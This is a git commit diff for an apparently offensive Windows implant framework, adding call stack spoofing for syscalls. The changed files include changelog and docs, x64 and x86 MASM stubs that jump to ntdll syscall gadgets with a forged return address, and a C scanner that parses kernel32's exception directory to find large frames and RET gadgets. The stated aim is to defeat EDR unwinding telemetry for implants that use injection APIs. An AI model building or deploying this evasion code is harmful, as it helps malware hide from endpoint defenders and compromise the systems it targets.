Release v1.3.0: Stack Spoofing & Dynamic Fat Frames

- Implemented native Call Stack Spoofing with a coordinated JMP-Trampoline
- Added dynamic .pdata Exception Directory parsing to discover Fat Frames (>= 120 bytes)
- Added x86 & x64 spoofed MASM stubs with synchronized EDR unwinder offset logic
This commit is contained in:
sibouzitoun
2026-07-06 16:59:33 +01:00
parent b7d3cf717c
commit da52e28ca5
21 changed files with 498 additions and 60 deletions
+11
View File
@@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
---
## [1.3.0] - 2026-07-06
Fourth major release. The framework introduces Call Stack Spoofing to defeat EDR virtual unwinding telemetry.
### Major Additions
- **Advanced Stack Spoofing (`snd_syscall_spoofed_invoke_asm`)**: Implemented full Call Stack Spoofing natively into the execution pipeline using a dynamic JMP-Trampoline.
- **Dynamic Fat Frame Discovery (`snd_syscall_find_spoof_scan`)**: Automatically parses the Exception Directory (`.pdata`) of `kernel32.dll` to locate functions with massive shadow stack allocations (>= 120 bytes). Embeds the syscall return gadget inside this frame, tricking `RtlVirtualUnwind` into parsing a perfectly intact, legitimate call chain without desynchronization.
- **Pipeline Overhaul**: Added `pSpoofAddr` and `dwSpoofFrameSize` to `snd_syscall_entry_t`. Added `snd_syscall_set_spoof_finder` to configure the spoof engine.
---
## [1.2.0] - 2026-06-29
Third major release. The framework introduces indirect syscalls and significantly improves the execution pipeline's flexibility and operator experience.
+14 -6
View File
@@ -30,12 +30,20 @@ endif()
# --- Architecture-specific assembly ---
if(CMAKE_SIZEOF_VOID_P EQUAL 8)
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x64.asm src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm)
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x64.asm)
set(SINDRI_EXEC_ASM
src/primitives/execution/syscalls/asm/invoke_direct_x64.asm
src/primitives/execution/syscalls/asm/invoke_indirect_x64.asm
src/primitives/execution/syscalls/asm/invoke_spoofed_x64.asm
src/primitives/execution/ffi/asm/ffi_x64.asm
)
set(HEAVENSGATE_ASM "")
else()
set(SYSCALL_ASM src/primitives/execution/syscalls/asm/invoke_direct_x86.asm src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm)
set(EXECUTION_ASM src/primitives/execution/ffi/asm/ffi_x86.asm)
set(SINDRI_EXEC_ASM
src/primitives/execution/syscalls/asm/invoke_direct_x86.asm
src/primitives/execution/syscalls/asm/invoke_indirect_x86.asm
src/primitives/execution/syscalls/asm/invoke_spoofed_x86.asm
src/primitives/execution/ffi/asm/ffi_x86.asm
)
set(HEAVENSGATE_ASM src/primitives/execution/heavens_gate/asm/heavens_gate_x86.asm)
endif()
@@ -112,10 +120,10 @@ add_library(sindri_engine STATIC
src/primitives/execution/syscalls/syscalls_scan.c
src/primitives/execution/syscalls/syscalls_sort.c
src/primitives/execution/syscalls/gadget_scan.c
src/primitives/execution/syscalls/spoof_scan.c
# Assembly & generated
${SYSCALL_ASM}
${EXECUTION_ASM}
${SINDRI_EXEC_ASM}
${HEAVENSGATE_ASM}
${GENERATED_HEADER}
)
+1
View File
@@ -49,3 +49,4 @@ WriteProcessMemory
VirtualProtectEx
CreateRemoteThread
CloseHandle
BaseThreadInitThunk
+4 -3
View File
@@ -76,7 +76,7 @@ There is **no** `snd_mod_sys`. Import resolution during reflective load uses PEB
|---|---|---|
| `_win` | Documented Win32 APIs | memory, modules, mapping, process |
| `_nt` | NT function pointers resolved via PEB walk + EAT parse | memory, modules, mapping, process |
| `_sys` | Direct or indirect syscalls (configurable invoker) | memory, mapping, process — **not** modules |
| `_sys` | Direct, indirect, or spoofed syscalls (configurable invoker) | memory, mapping, process — **not** modules |
### OpSec profile examples
@@ -103,9 +103,10 @@ snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// or for indirect/spoofed syscalls:
// snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
// snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
```
This is **global execution state**, not part of any DI table. Implant init code runs it once; all `_sys` tables benefit.
+1 -1
View File
@@ -13,7 +13,7 @@ Foundation layer for SindriKit. Loaders, injection, and future domains rely on i
| [modules/](modules/) | `snd_mod_win`, `snd_mod_nt` (no `_sys`) |
| [mapping/](mapping/) | `snd_map_win`, `snd_map_nt`, `snd_map_sys`, KnownDlls |
| [process/](process/) | `snd_proc_win`, `snd_proc_nt`, `snd_proc_sys` |
| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect) |
| [syscalls/](syscalls/) | SSN resolution pipeline, configurable invoker (direct / indirect / spoofed) |
| [execution/](execution/) | FFI (`snd_ffi_execute`), Heaven's Gate |
Contract definitions: `include/sindri/primitives/os_api.h`
@@ -95,5 +95,6 @@ snd_status_t snd_hg_execute_64(
| `snd_hg_invoke_x86` | `heavens_gate/asm/heavens_gate_x86.asm` | Far return to CS `0x33`, x64 call |
| `snd_syscall_direct_invoke_asm` | `syscalls/asm/invoke_direct_x64.asm` or `invoke_direct_x86.asm` | Direct `syscall` / `sysenter` instruction stub |
| `snd_syscall_indirect_invoke_asm` | `syscalls/asm/invoke_indirect_x64.asm` or `invoke_indirect_x86.asm` | Indirect syscall via NTDLL gadget |
| `snd_syscall_spoofed_invoke_asm` | `syscalls/asm/invoke_spoofed_x64.asm` or `invoke_spoofed_x86.asm` | Spoofed syscall via Fat Frame gadget |
These are linked into `sindri::engine`; callers use the C wrappers above.
+2 -9
View File
@@ -56,18 +56,11 @@ Custom resolvers matching `snd_syscall_resolver_t` can be added to the chain (ma
|---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
| `snd_syscall_spoofed_invoke_asm` | `invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm` | Spoofs call stack with dynamic Fat Frame discovery |
> [!NOTE]
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_direct_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
> Build with `SND_USE_DEFAULTS=ON` to pre-configure the invoker (`snd_syscall_indirect_invoke_asm`), gadget finder (`snd_syscall_find_gadget_scan`), and primary resolver (`snd_syscall_resolve_ssn_scan`) at compile time. Only `snd_syscall_set_ntdll()` is then needed at runtime.
## Invocation modes
| Function | File | Description |
|---|---|---|
| `snd_syscall_direct_invoke_asm` | `invoke_direct_x64.asm` / `invoke_direct_x86.asm` | Executes `syscall`/`sysenter` inline |
| `snd_syscall_indirect_invoke_asm` | `invoke_indirect_x64.asm` / `invoke_indirect_x86.asm` | Jumps to a legitimate NTDLL gadget |
> **Note on `SND_USE_DEFAULTS`**: When enabled, the framework pre-configures the invoker (indirect), gadget finder, and primary resolver automatically.
## Table of Contents
@@ -25,6 +25,8 @@ Internal pipeline depth: **4 strategies** (`SND_MAX_INTERNAL_STRATEGIES` in `sys
| `dwHash` | `DWORD` | Target function hash |
| `wSystemCall` | `WORD` | Resolved SSN |
| `pSyscallAddr` | `PVOID` | Gadget address for indirect invocation (populated by gadget finder) |
| `pSpoofAddr` | `PVOID` | Gadget address for spoofed invocation (populated by spoof finder) |
| `dwSpoofFrameSize` | `DWORD` | Frame size of the spoofed function (populated by spoof finder) |
> [!NOTE]
> The sort resolver sets `wSystemCall` only. `_sys` backends use `entry.wSystemCall` for invocation.
@@ -38,6 +40,8 @@ Arguments for the syscall invoker (`snd_syscall_direct_invoke_asm` or `snd_sysca
| `ssn` | `WORD` | SSN placed in `EAX`/`RAX` |
| `arg1``arg11` | `PVOID` | Syscall arguments |
| `sys_addr` | `PVOID` | Gadget address for indirect invocation; ignored by direct stub |
| `spoof_addr` | `PVOID` | Gadget address for spoofed invocation; ignored by other stubs |
| `spoof_frame_size` | `DWORD` | Frame size of the spoofed function; ignored by other stubs |
> [!NOTE]
> `sys_addr` is placed at the end of the struct to preserve memory offsets for args 1-11, ensuring backward compatibility with existing ASM stubs.
@@ -150,6 +154,20 @@ Built-in: `snd_syscall_find_gadget_scan`.
---
### `snd_syscall_set_spoof_finder`
Sets the global spoof finder function pointer. Only required when using spoofed invocation.
```c
void snd_syscall_set_spoof_finder(snd_syscall_spoof_finder_t finder);
```
Built-in: `snd_syscall_find_spoof_scan`.
**Source:** `src/primitives/execution/syscalls/syscalls.c`
---
## Resolution & Execution
### `snd_syscall_resolve`
@@ -188,6 +206,18 @@ extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
---
### `snd_syscall_spoofed_invoke_asm`
Architecture-specific ASM stub (`invoke_spoofed_x64.asm` / `invoke_spoofed_x86.asm`). Jumps to a legitimate `syscall; ret` gadget inside NTDLL and spoofs the return address using a JMP-Trampoline inside a Fat Frame. Requires both `sys_addr` (via `snd_syscall_find_gadget_scan`) and `spoof_addr` / `spoof_frame_size` (via `snd_syscall_find_spoof_scan`).
```c
extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args);
```
**Returns:** raw `NTSTATUS`, or `STATUS_INVALID_PARAMETER` (`0xC000000D`) if any required address is NULL
---
## Compile-Time Defaults (`SND_USE_DEFAULTS`)
| Macro | Default value (when enabled) |
@@ -129,6 +129,33 @@ Required when using `snd_syscall_indirect_invoke_asm`. The gadget finder runs au
---
## Spoof finder (`snd_syscall_find_spoof_scan`)
**Source:** `spoof_scan.c`
Locates a trampoline gadget (`RET`) within a legitimate function in `kernel32.dll` to spoof the call stack return address.
### Algorithm (x64)
To prevent frame desynchronization during stack unwinding (where the EDR's `RtlVirtualUnwind` crashes trying to parse our spoofed return address), the spoof finder dynamically hunts for a **"Fat Frame"**.
1. Resolve the natively loaded `kernel32.dll` via PEB.
2. Manually parse the **Exception Directory** (`.pdata`) of `kernel32.dll` (avoiding native APIs like `RtlLookupFunctionEntry` for stealth).
3. Iterate through `RUNTIME_FUNCTION` entries and parse their `UNWIND_INFO` structures to calculate the total stack space allocated by each function.
4. Find a function that allocates at least **120 bytes** (a "Fat Frame"). This ensures the legitimate function's shadow space is large enough to encapsulate our spoofed JMP-trampoline and its arguments.
5. Scan the body of the Fat Frame function for a `0xC3` (`RET`) instruction.
6. Populate `entry->pSpoofAddr` with the gadget address and `entry->dwSpoofFrameSize` with the required stack offset.
### Algorithm (x86)
x86 does not use `.pdata` for exception handling. The scanner falls back to resolving `BaseThreadInitThunk` and scanning forward/backward for a simple `RET` gadget.
### When to use
Required when using `snd_syscall_spoofed_invoke_asm`. The spoof finder runs automatically during `snd_syscall_resolve` if `g_syscall_spoof_finder` is set.
---
## Dependencies
Both resolvers depend on:
+28 -16
View File
@@ -12,8 +12,9 @@ SSNs vary across Windows builds. SindriKit resolves them dynamically at runtime
flowchart LR
A["1. snd_syscall_set_ntdll"] --> B["2. snd_syscall_set_resolver / _add"]
B --> C["3. snd_syscall_set_invoker"]
C --> D["4. snd_syscall_resolve"]
D --> E["5. g_syscall_invoker"]
C --> D["4. snd_syscall_set_spoof_finder"]
D --> E["5. snd_syscall_resolve"]
E --> F["6. g_syscall_invoker"]
```
### 1. Provide `ntdll` base
@@ -56,7 +57,15 @@ snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan); // required for ind
Indirect invocation requires a gadget finder. `snd_syscall_find_gadget_scan` resolves the target function in the natively loaded NTDLL via PEB and scans for a `syscall; ret` gadget (x64) or the transition stub entry (x86).
### 4. Resolve SSN
### 4. Configure spoof finder (optional)
If using `snd_syscall_spoofed_invoke_asm`, you must configure a spoof finder. It dynamicallly searches for a "Fat Frame" in `kernel32.dll` to hide the call stack.
```c
snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
```
### 5. Resolve SSN
```c
snd_syscall_entry_t entry = {0};
@@ -65,23 +74,25 @@ snd_status_t status = snd_syscall_resolve(SND_HASH_NTOPENSECTION, &entry);
`snd_syscall_resolve` tries each registered strategy in order until one returns `SND_OK`.
### 5. Invoke
### 6. Invoke
Populate `snd_syscall_args_t` and call via the global invoker:
```c
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = ...;
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = ...;
// arg2arg11 as required by the target syscall
NTSTATUS nt_status = g_syscall_invoker(&args);
```
`sys_addr` is only used by the indirect invoker; the direct invoker ignores it.
`sys_addr` is only used by indirect/spoofed invokers. `spoof_addr` and `spoof_frame_size` are only used by the spoofed invoker.
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 45 internally — operators only bootstrap once at startup.
`_sys` primitive implementations (`snd_mem_sys`, `snd_proc_sys`, `snd_map_sys`) wrap steps 56 internally — operators only bootstrap once at startup.
---
@@ -96,10 +107,9 @@ if (SND_FAILED(st)) return st;
snd_syscall_set_ntdll(ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
snd_syscall_set_invoker(snd_syscall_spoofed_invoke_asm);
snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
snd_syscall_set_spoof_finder(snd_syscall_find_spoof_scan);
// Resolve + invoke NtClose
snd_syscall_entry_t entry = {0};
@@ -107,9 +117,11 @@ st = snd_syscall_resolve(SND_HASH_NTCLOSE, &entry);
if (SND_FAILED(st)) return st;
snd_syscall_args_t args = {0};
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.arg1 = handle;
args.ssn = entry.wSystemCall;
args.sys_addr = entry.pSyscallAddr;
args.spoof_addr = entry.pSpoofAddr;
args.spoof_frame_size = entry.dwSpoofFrameSize;
args.arg1 = handle;
NTSTATUS nt = g_syscall_invoker(&args);
```
+1
View File
@@ -83,6 +83,7 @@ typedef enum _SND_STATUS_CODE {
// Syscall resolution errors
SND_STATUS_SSN_NOT_FOUND = 0x500,
SND_STATUS_GADGET_NOT_FOUND,
// PEB
SND_STATUS_PEB_MODULE_NOT_FOUND = 0x600,
+15 -6
View File
@@ -23,6 +23,8 @@ typedef struct {
DWORD dwHash;
WORD wSystemCall;
PVOID pSyscallAddr;
PVOID pSpoofAddr;
DWORD dwSpoofFrameSize; // The actual frame size of the Fat Frame in bytes
} snd_syscall_entry_t;
/**
@@ -44,6 +46,8 @@ typedef struct {
// Placed at the end to prevent altering the memory offsets of args 1-11
// inside the existing Direct ASM stub (invoke_x64.asm).
PVOID sys_addr;
PVOID spoof_addr;
DWORD spoof_frame_size;
} snd_syscall_args_t;
/**
@@ -57,15 +61,18 @@ typedef snd_status_t (*snd_syscall_gadget_finder_t)(snd_syscall_entry_t *entry);
snd_status_t snd_syscall_resolve_ssn_scan(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_resolve_ssn_sort(PVOID ntdll, DWORD func_hash, snd_syscall_entry_t *entry_out);
snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry);
snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry);
#if SND_USE_DEFAULTS
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
#define SND_SYSCALL_INVOKER_DEFAULT snd_syscall_indirect_invoke_asm
#define SND_SYSCALL_GADGET_FINDER_DEFAULT snd_syscall_find_gadget_scan
#define SND_SYSCALL_SPOOF_FINDER_DEFAULT snd_syscall_find_spoof_scan
#define SND_SYSCALL_RESOLVER_DEFAULT snd_syscall_resolve_ssn_scan
#else
#define SND_SYSCALL_INVOKER_DEFAULT NULL
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
#define SND_SYSCALL_INVOKER_DEFAULT NULL
#define SND_SYSCALL_GADGET_FINDER_DEFAULT NULL
#define SND_SYSCALL_SPOOF_FINDER_DEFAULT NULL
#define SND_SYSCALL_RESOLVER_DEFAULT NULL
#endif
/**
@@ -82,6 +89,7 @@ void snd_syscall_set_resolver(snd_syscall_resolver_t resolver);
snd_status_t snd_syscall_add_resolver(snd_syscall_resolver_t resolver);
void snd_syscall_set_invoker(snd_syscall_invoker_t invoker);
void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder);
void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder);
/**
* @brief Sets the global base address of the ntdll.dll module.
@@ -106,6 +114,7 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
*/
extern NTSTATUS snd_syscall_direct_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_indirect_invoke_asm(snd_syscall_args_t *args);
extern NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t *args);
SND_END_EXTERN_C
+2
View File
@@ -126,6 +126,8 @@ const char *snd_status_to_string(snd_status_t status) {
// SSN related errors
case SND_STATUS_SSN_NOT_FOUND:
return "SSN not found";
case SND_STATUS_GADGET_NOT_FOUND:
return "Gadget not found";
// PEB related errors
case SND_STATUS_PEB_MODULE_NOT_FOUND:
@@ -0,0 +1,92 @@
; ===========================================================================
; invoke_spoofed_x64.asm - SindriKit Spoofed Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_spoofed_invoke_asm
;
; Invokes a syscall indirectly by jumping to a legitimate `syscall` gadget
; within ntdll.dll, but spoofs the return address pushed onto the stack
; so that call stack telemetry sees the spoofed address instead of the payload
; address Uses MASM SEH directives (.pdata/.xdata) to ensure consistent
; unwinding.
; ===========================================================================
.code
PUBLIC snd_syscall_spoofed_invoke_asm
; snd_syscall_spoofed_invoke_asm(SND_SYSCALL_ARGS* args)
snd_syscall_spoofed_invoke_asm PROC FRAME
push rbp
.PUSHREG rbp
push r12
.PUSHREG r12
mov rbp, rsp
.SETFRAME rbp, 0
; Allocate 256 bytes to be safe for larger Fat Frames (up to ~240 bytes).
sub rsp, 256
.ALLOCSTACK 256
.ENDPROLOG
; RCX points to SND_SYSCALL_ARGS struct
mov r11, [rcx+96] ; sys_addr (gadget)
test r11, r11
jz InvalidArgs
mov r8, [rcx+104] ; spoof_addr (trampoline)
test r8, r8
jz InvalidArgs
mov r12d, dword ptr [rcx+112] ; spoof_frame_size (DWORD)
test r12, r12
jz InvalidArgs
; Build the Top-of-Stack Exposure JMP-Trampoline strictly within our local frame
; The syscall gadget expects to return to what is at [rsp].
; So we must put the Trampoline (RET) at [rsp+0].
mov [rsp+0], r8
lea rax, Cleanup
mov [rsp+8], rax
mov rax, [rbp+16]
mov [rsp + r12 + 8], rax
mov rax, [rcx+40] ; arg5
mov [rsp+40], rax
mov rax, [rcx+48] ; arg6
mov [rsp+48], rax
mov rax, [rcx+56] ; arg7
mov [rsp+56], rax
mov rax, [rcx+64] ; arg8
mov [rsp+64], rax
mov rax, [rcx+72] ; arg9
mov [rsp+72], rax
mov rax, [rcx+80] ; arg10
mov [rsp+80], rax
mov rax, [rcx+88] ; arg11
mov [rsp+88], rax
; Extract SSN and arguments 1-4
movzx eax, word ptr [rcx] ; ssn is a WORD
mov r10, [rcx+8] ; arg1
mov rdx, [rcx+16] ; arg2
mov r8, [rcx+24] ; arg3
mov r9, [rcx+32] ; arg4
; Jump to the NTDLL syscall gadget
jmp r11
InvalidArgs:
mov eax, 0C000000Dh ; STATUS_INVALID_PARAMETER
jmp Cleanup
Cleanup:
mov rsp, rbp
pop r12
pop rbp
ret
snd_syscall_spoofed_invoke_asm ENDP
end
@@ -0,0 +1,83 @@
; ===========================================================================
; invoke_spoofed_x86.asm - SindriKit Spoofed Syscall Invocation ASM Stub
; ===========================================================================
;
; Exports:
; snd_syscall_spoofed_invoke_asm
;
; Invokes a syscall indirectly by jumping into the middle of the NTDLL stub,
; while spoofing the caller's return address on the stack.
; ===========================================================================
.686
.model flat, c
.code
PUBLIC snd_syscall_spoofed_invoke_asm
; NTSTATUS snd_syscall_spoofed_invoke_asm(snd_syscall_args_t* args)
snd_syscall_spoofed_invoke_asm PROC
push ebp
mov ebp, esp
; Save non-volatile registers
push edi
push esi
push ebx
mov eax, [ebp+8]
; Extract sys_addr (offset 48) and spoof_addr (offset 52)
mov ecx, [eax+48]
test ecx, ecx
jz InvalidArgs
mov edi, [eax+52] ; EDI holds spoof_addr
test edi, edi
jz InvalidArgs
GadgetValid:
; Push 11 arguments
push [eax+44] ; arg11
push [eax+40] ; arg10
push [eax+36] ; arg9
push [eax+32] ; arg8
push [eax+28] ; arg7
push [eax+24] ; arg6
push [eax+20] ; arg5
push [eax+16] ; arg4
push [eax+12] ; arg3
push [eax+8] ; arg2
push [eax+4] ; arg1
; Extract SSN into EAX for the syscall
movzx eax, word ptr [eax]
; Spoof the caller's return address using the Trampoline Gadget (RET)
mov esi, [ebp + 4]
mov [ebp + 4], edi
; Push SyscallCleanup onto the stack so the trampoline RET returns here
lea edx, SyscallCleanup
push edx
jmp ecx
InvalidArgs:
mov eax, 0C000000Dh
jmp Cleanup
SyscallCleanup:
lea esp, [ebp - 12]
mov [ebp + 4], esi
Cleanup:
pop ebx
pop esi
pop edi
pop ebp
ret
snd_syscall_spoofed_invoke_asm ENDP
end
@@ -12,14 +12,12 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
return SND_ERR(SND_STATUS_NULL_POINTER);
}
// 1. Get the natively loaded NTDLL from our own PEB
PVOID local_ntdll = NULL;
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
PVOID local_ntdll = NULL;
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &local_ntdll);
if (SND_FAILED(status) || !local_ntdll) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
// 2. Resolve the real, executable address of the API using its hash
FARPROC exec_addr = NULL;
status = snd_pe_get_export_address_hash(local_ntdll, SND_SYS_DLL_SIZE_DEFAULT, entry->dwHash, &exec_addr, NULL);
if (SND_FAILED(status) || !exec_addr) {
@@ -30,7 +28,6 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
BYTE *ptr = (BYTE *)exec_addr;
// Scan forward a maximum of 32 bytes from the API entry point
// looking for the `syscall` (0x0F 0x05) followed by `ret` (0xC3) signature.
for (int i = 0; i < 32; i++) {
if (ptr[i] == 0x0F && ptr[i + 1] == 0x05 && ptr[i + 2] == 0xC3) {
entry->pSyscallAddr = (PVOID)&ptr[i];
@@ -38,23 +35,10 @@ snd_status_t snd_syscall_find_gadget_scan(snd_syscall_entry_t *entry) {
}
}
return SND_ERR(SND_STATUS_SSN_NOT_FOUND); // Gadget not found within bounds
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
#elif defined(_WIN32)
BYTE *ptr = (BYTE *)exec_addr;
// We scan for the start of the `call dword ptr fs:[0xC0]` or `sysenter` block
// Actually, on x86, the best gadget is the entire NTDLL stub starting at the `mov edx, esp`
// or just after the `mov eax, SSN`.
// The typical NTDLL stub on x86 looks like:
// mov eax, <SSN>
// mov edx, <wow64_transition> or mov edx, esp
// call dword ptr fs:[0xC0] or sysenter or call edx
// ret XX
//
// The easiest and safest way to do indirect syscall on x86 is to jump to `exec_addr + 5`.
// `exec_addr` points to `mov eax, <SSN>` which is exactly 5 bytes (B8 XX XX 00 00).
// The instructions after that handle the transition safely for the specific OS version.
// We check if it starts with `mov eax` (0xB8)
if (ptr[0] == 0xB8) {
entry->pSyscallAddr = (PVOID)&ptr[5];
@@ -0,0 +1,149 @@
#include <sindri/common/debug.h>
#include <sindri/common/macros.h>
#include <sindri/common/status.h>
#include <sindri/parsers/env/peb.h>
#include <sindri/parsers/pe/exports.h>
#include <sindri/parsers/pe/parser.h>
#include <sindri/primitives/syscalls.h>
#include <sindri_hashes.h>
#include <windows.h>
snd_status_t snd_syscall_find_spoof_scan(snd_syscall_entry_t *entry) {
if (entry == NULL) {
return SND_ERR(SND_STATUS_NULL_POINTER);
}
PVOID kernel32 = NULL;
snd_status_t status = snd_peb_get_module_base_hash(SND_HASH_KERNEL32_DLL, &kernel32);
if (SND_FAILED(status)) {
return SND_ERR(SND_STATUS_NOT_INITIALIZED);
}
PVOID gadget = NULL;
#ifdef _WIN64
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)kernel32;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)kernel32 + dos->e_lfanew);
DWORD pdata_rva = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress;
DWORD pdata_size = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size;
if (pdata_rva != 0 && pdata_size != 0) {
PRUNTIME_FUNCTION pdata = (PRUNTIME_FUNCTION)((ULONG_PTR)kernel32 + pdata_rva);
DWORD pdata_count = pdata_size / sizeof(RUNTIME_FUNCTION);
for (DWORD i = 0; i < pdata_count; i++) {
PRUNTIME_FUNCTION func = &pdata[i];
if (func->UnwindData == 0)
continue;
PBYTE unwind_info = (PBYTE)((ULONG_PTR)kernel32 + func->UnwindData);
BYTE version = unwind_info[0] & 7;
BYTE flags = unwind_info[0] >> 3;
if ((version != 1 && version != 2) || (flags & 4) != 0) {
continue;
}
BYTE countOfCodes = unwind_info[2];
PBYTE codes = unwind_info + 4;
DWORD frame_size = 0;
for (BYTE j = 0; j < countOfCodes;) {
BYTE unwindOp = codes[j * 2 + 1] & 0x0F;
BYTE opInfo = codes[j * 2 + 1] >> 4;
switch (unwindOp) {
case 0: // UWOP_PUSH_NONVOL
frame_size += 8;
j += 1;
break;
case 1: // UWOP_ALLOC_LARGE
if (opInfo == 0) {
frame_size += (*(USHORT *)(&codes[(j + 1) * 2])) * 8;
j += 2;
} else {
frame_size += (*(DWORD *)(&codes[(j + 1) * 2]));
j += 3;
}
break;
case 2: // UWOP_ALLOC_SMALL
frame_size += (opInfo * 8) + 8;
j += 1;
break;
case 3: // UWOP_SET_FPREG
j += 1;
break;
case 4: // UWOP_SAVE_NONVOL
j += 2;
break;
case 5: // UWOP_SAVE_NONVOL_FAR
j += 3;
break;
case 8: // UWOP_SAVE_XMM128
j += 2;
break;
case 9: // UWOP_SAVE_XMM128_FAR
j += 3;
break;
case 10: // UWOP_PUSH_MACHFRAME
j += 1;
break;
default:
j += 1;
break;
}
}
if (frame_size >= 120) {
PBYTE func_body = (PBYTE)((ULONG_PTR)kernel32 + func->BeginAddress);
DWORD func_size = func->EndAddress - func->BeginAddress;
for (DWORD k = 0; k < func_size; k++) {
if (func_body[k] == 0xC3) { // RET
gadget = &func_body[k];
entry->dwSpoofFrameSize = frame_size;
break;
}
}
if (gadget)
break;
}
}
}
#else
FARPROC exec_addr = NULL;
status = snd_pe_get_export_address_hash(kernel32, SND_SYS_DLL_SIZE_DEFAULT, SND_HASH_BASETHREADINITTHUNK,
&exec_addr, NULL);
if (SND_FAILED(status) || !exec_addr) {
return SND_ERR(SND_STATUS_SSN_NOT_FOUND);
}
// x86 fallback: basic RET scan since there is no .pdata
PBYTE scanner = (PBYTE)exec_addr;
for (int i = 0; i < 65535; i++) {
if (scanner[i] == 0xC3) { // ret
gadget = &scanner[i];
break;
}
if (scanner[-i] == 0xC3) { // ret
gadget = &scanner[-i];
break;
}
}
#endif
if (!gadget) {
return SND_ERR_CTX(SND_STATUS_GADGET_NOT_FOUND, "Could not find a trampoline gadget in kernel32.");
}
entry->pSpoofAddr = gadget;
return SND_OK;
}
@@ -15,6 +15,7 @@ static int g_strategy_count = 0;
snd_syscall_invoker_t g_syscall_invoker = SND_SYSCALL_INVOKER_DEFAULT;
snd_syscall_gadget_finder_t g_syscall_gadget_finder = SND_SYSCALL_GADGET_FINDER_DEFAULT;
snd_syscall_gadget_finder_t g_syscall_spoof_finder = SND_SYSCALL_SPOOF_FINDER_DEFAULT;
void snd_syscall_set_ntdll(PVOID ntdll_base) {
if (!ntdll_base)
@@ -34,6 +35,12 @@ void snd_syscall_set_gadget_finder(snd_syscall_gadget_finder_t finder) {
g_syscall_gadget_finder = finder;
}
void snd_syscall_set_spoof_finder(snd_syscall_gadget_finder_t finder) {
if (!finder)
return;
g_syscall_spoof_finder = finder;
}
void snd_syscall_set_resolver(snd_syscall_resolver_t resolver) {
if (!resolver)
return;
@@ -75,6 +82,9 @@ snd_status_t snd_syscall_resolve(DWORD func_hash, snd_syscall_entry_t *entry_out
if (g_syscall_gadget_finder != NULL) {
status = g_syscall_gadget_finder(entry_out);
}
if (g_syscall_spoof_finder != NULL) {
status = g_syscall_spoof_finder(entry_out);
}
return status;
}
}
+6
View File
